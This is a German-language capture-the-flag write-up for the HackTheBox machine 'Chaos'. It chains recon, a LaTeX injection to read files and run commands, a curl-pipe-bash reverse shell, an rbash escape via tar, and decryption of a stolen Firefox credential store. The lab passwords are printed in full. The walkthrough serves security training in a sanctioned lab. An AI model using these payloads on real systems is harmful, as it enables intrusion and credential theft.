> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md).

# Chaos-HackTheBox-Lösung

{% embed url="<https://app.hackthebox.com/machines/Chaos>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Passwort erraten
* Missbrauch des E-Mail-Dienstes (claws-mail)
* Krypto-Herausforderung (Geheime Nachricht entschlüsseln – AES-verschlüsselt)
* LaTeX-Injektion (RCE)
* Umgehung von rbash (Restricted Bash)
* Anmeldedaten aus dem Firefox-Profil extrahieren
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/90ba6e5614d19ef87a66fcaa455a6c212cf96960" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/6596d1ccf6e5ce0af1b4b4efb73f93b446aebb44" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts
```

<figure><img src="/files/d1c32e457ab18528d6b98c1918eb631ac1341342" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit ExtractPorts (**&#x38;0.110,143.993.995,10000)

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren.

<figure><img src="/files/d71a147e77f0ab0a774866a6deac905cc420a2bc" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted
```

<figure><img src="/files/e5e24a2cf0c9b4e5655420323949c162d4ac82a8" alt=""><figcaption></figcaption></figure>

## **Ausnutzung**

#### **Port 80 - Web-Enumeration**

Der direkte Zugriff über die IP ist blockiert. Wir fügen daher die `chaos.htb` Domain in `/etc/hosts`.

<figure><img src="/files/2ecfd46dd55b7421b2cf67d8d0eedbc4fb62dd07" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b7f00ecedc6dfca3f78bcb3703fb7bcff48e94a9" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/56a3d5ae09f04814869735ce1942184b1b06c4b3" alt=""><figcaption></figcaption></figure>

#### **Verzeichnis-Fuzzing**

```bash
gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

Keine Ergebnisse.

<figure><img src="/files/c69f1ee79e9e96eca2a9907b1485a26ee434e23f" alt=""><figcaption></figcaption></figure>

**Fuzzing über die IP-Adresse:**

```bash
gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

Wir finden einen Ordner `/wp` was auf WordPress hinweist.

<figure><img src="/files/aad75770cacfd36290d4866d53fd2b92ce5bf983" alt=""><figcaption></figcaption></figure>

Fügen Sie die `wordpress.chaos.htb` Subdomain zu `/etc/hosts`.

<figure><img src="/files/e877bbba8a10263e213afb59dc563154cadaef4a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/66b62d1da8e78a62db50b3da49fc0e4e4e02efda" alt="" width="563"><figcaption></figcaption></figure>

### **WordPress-Enumeration**

<figure><img src="/files/8a830141380f138067a3fdf1a7122a5f2955771e" alt=""><figcaption></figcaption></figure>

Wir finden einen `Human` Benutzer auf WordPress.

<figure><img src="/files/25076ca30d0d07f601d292b3d87561613bb05f43" alt=""><figcaption></figcaption></figure>

### **Passwort erraten**

Ein WordPress-Artikel enthält ein Passwort. Wir testen `Human` und es funktioniert.

<figure><img src="/files/dbba5c1cdeb4c8d31dcb57074ed2fd83572baa6b" alt=""><figcaption></figcaption></figure>

Wir finden Zugangsdaten für ein Webmail:

* **Benutzernamen**: ayush
* **Passwort**: jiujitsu

## **Port 993/995 - Webmail**

Port 993 weist auf einen IMAP-Mailserver hin.

<figure><img src="/files/da5afd4e7fa1728fba123a4128bc00106a3f8510" alt=""><figcaption></figcaption></figure>

Wir verwenden `claws-mail` um auf Ayushs Postfach zuzugreifen.

```bash
claws-mail
```

<figure><img src="/files/dc2eeb3e7cc4db03c067b274457ddfe7d22f68e7" alt="" width="415"><figcaption></figcaption></figure>

<figure><img src="/files/16b56a9347eaed3de7c933199fed1ec93a15a639" alt="" width="563"><figcaption></figcaption></figure>

In einer E-Mail finden wir zwei angehängte Dateien und die Nachricht:

> Hallo, Sahay
>
> Prüfe die Datei enmsg.txt. Du bist das XD-Passwort. Ich habe auch das Skript angehängt, das ich zum Verschlüsseln verwendet habe. Danke.

<figure><img src="/files/5c275e627b59e6ba3a68e9a5728ef89679368efb" alt=""><figcaption></figcaption></figure>

## **Geheime Nachricht entschlüsseln - AES-verschlüsselt**

<figure><img src="/files/8bad5a10d13171e97fcd1f92bb2dbcab18b5f334" alt=""><figcaption></figcaption></figure>

Wir identifizierten ein `decrypt.py` Skript auf GitHub, das zum selben Projekt gehört

<figure><img src="/files/ac7b00fac9746e8ddf4bb0ec720bed7c25ab4032" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/vj0shii/File-Encryption-Script/blob/master/decrypt.py>" %}

#### Beim Ausführen:

```bash
python3 decrypt.py
Dateiname eingeben: ./enim_msg.txt
Passwort eingeben: sahay
```

Inhalt wird mit `base64`:

<figure><img src="/files/6159b4a170339f53a5c8bc6991cce726b79e70cb" alt=""><figcaption></figcaption></figure>

```bash
cat im_msg.txt | base64 -d; echo
```

Die Nachricht enthüllt einen LaTeX-Dienst auf `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3`

> **Hallo Sahay,**
>
> Bitte entdecke unseren neuen Dienst, der PDFs erstellt.
>
> P.S. – Wie du mir geraten hast, habe ich die wichtige Nachricht verschlüsselt.
>
> [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3)
>
> **Blockierende Kontrollen**
>
> Danke, **Ayush**
>
> Danke, Ayush

<figure><img src="/files/e51a2fe5ae6d84a508a7307faf44312b864b7889" alt=""><figcaption></figcaption></figure>

## **LaTeX-Injektionsschwachstelle**

### LaTeX-Injektion (Dateileser)

<figure><img src="/files/74eeb51c84c0681ecd2fb8323c652f04bce1e16b" alt=""><figcaption></figcaption></figure>

Wir fangen die Anfrage ab

<figure><img src="/files/e9f90f0bebd91b176654f91b617fbf05c562654d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/291af2bd51cd4399f0c0595975dd1f047e1adddf" alt=""><figcaption></figcaption></figure>

#### PDF-LaTeX-Dokument:

<figure><img src="/files/c8ee5bff905351657525a20c117c573a5a3cacd4" alt=""><figcaption></figcaption></figure>

Wir injizieren:

```latex
/input{/etc/passwd}
/include{password}
```

<figure><img src="/files/db1bb44a549ca20447ee0e10036aa0872c7bc63e" alt=""><figcaption></figcaption></figure>

### **LaTeX-RCE-Ausnutzung**

Wir führen einen `id` Befehl aus über:

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="/files/216133b0178fdb12714957b6681d756afbe76bd2" alt=""><figcaption></figcaption></figure>

#### **Reverse Shell**

Wir lauschen auf Port 443:

```bash
nc -nvlp 443
```

Wir erstellen einen `index.html` bash-Skript:

```bash
 #!/bin/bash
 bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Wir starten einen Webserver:

```bash
python3 -m http.server 80
```

Payload-Injektion:

```latex
/immediate/write18{curl http://10.10.14.61 | bash > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="/files/f442994f72820574c4e68b61c2acfa2ed3167833" alt=""><figcaption></figcaption></figure>

## **Privilegieneskalation**

### **Pivoting zu Benutzer Ayush - rbash umgehen**

Wir verbinden uns als Ayush, sind jedoch auf eine `rbash` Shell beschränkt.

<figure><img src="/files/b158f617ecf2dbbbfe311ae09db8023367bf74e7" alt=""><figcaption></figcaption></figure>

Liste der verfügbaren Befehle:

```bash
compgen -c
```

Wir finden `tar` und umgehen `rbash` mit:

<figure><img src="/files/51f669f592d22e1e2b6c780e352e0d792478478c" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="/files/a3042090cc338d38bd031f02197d01f42c881028" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

Wir erhalten Zugriff auf eine vollständige Shell und holen `user.txt`.

<figure><img src="/files/8e2df355fd7522bd38bf30b328aba0102373fb48" alt="" width="449"><figcaption></figcaption></figure>

## **Firefox-Zugangsdaten-Extraktion**

In dem `.mozilla` Im Ordner von Ayush finden wir `key4.db` und `logins.json`.

<figure><img src="/files/e3c75db02c2e39a8fcabb83b5a5d252391d656b5" alt=""><figcaption></figcaption></figure>

Wir übertragen sie auf unsere Maschine:

<figure><img src="/files/6317df89f2354baec6fe49eed6475d3dc7c9ebb0" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server 8080
wget -r chaos.htb:8080
```

<figure><img src="/files/acb485a7f32ab52713113aff0047072db4c804d5" alt=""><figcaption></figcaption></figure>

IDs entschlüsseln mit `firefox_decrypt.py`:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

```bash
python3 firefox_decrypt.py chaos.htb:8080
```

Wir geben `jiujitsu` als Hauptpasswort und gewinnen:

<figure><img src="/files/489f31dc2ac21982ca4016bc454a18f8c44cca6b" alt=""><figcaption></figcaption></figure>

> Hauptpasswort für Profil chaos.htb:8080/bzo7sjt1.default
>
> Webseite: <https://chaos.htb:10000>
>
> Benutzername: 'root' Passwort: 'Thiv8wrej/\~

Root-Verbindung:

<figure><img src="/files/4f3bd759c8e90edcf9545d7c138623f809b7c47d" alt=""><figcaption></figcaption></figure>

### Flag root.txt

<figure><img src="/files/29080a8874a1790e104a76a8076a62d3d17c39cc" alt="" width="494"><figcaption></figcaption></figure>

<figure><img src="/files/220e59a182fc70d283d8f1417a42b5bf9f490f95" alt="" width="343"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
